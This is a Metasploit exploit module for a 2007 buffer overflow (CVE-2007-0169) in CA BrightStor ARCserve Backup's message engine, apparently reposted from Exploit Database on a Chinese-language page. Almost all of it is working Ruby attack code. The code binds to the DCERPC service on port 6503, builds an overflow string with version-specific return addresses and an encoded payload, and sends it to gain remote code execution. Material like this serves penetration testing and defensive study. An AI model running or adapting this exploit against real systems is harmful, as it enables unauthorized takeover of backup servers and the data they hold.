CA BrightStor ARCserve – Message Engine Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16418/

• ##
  # $Id: message_engine.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
  				11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
  				the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC', 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-0169' ],
  					[ 'OSVDB', '31318' ],
  					[ 'BID', '22005' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'BrightStor ARCserve r11.1',		{ 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004
  					[ 'BrightStor ARCserve r11.5',		{ 'Ret' => 0x2380ceb5 } ],
  					[ 'BrightStor ARCserve r11.5 SP2',	{ 'Ret' => 0x2380a47d } ],
  				],
  			'DisclosureDate' => 'Jan 11 2007',
  			'DefaultTarget' => 1))
  
  		register_options(
  			[
  				Opt::RPORT(6503)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  		print_status("Binding to #{handle} ...")
  
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		filler =rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
  
  		sploit =NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
  
  		print_status("Trying target #{target.name}...")
  
  			begin
  				dcerpc_call(47, sploit)
  				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			end
  
  		handler
  		disconnect
  	end
  
  end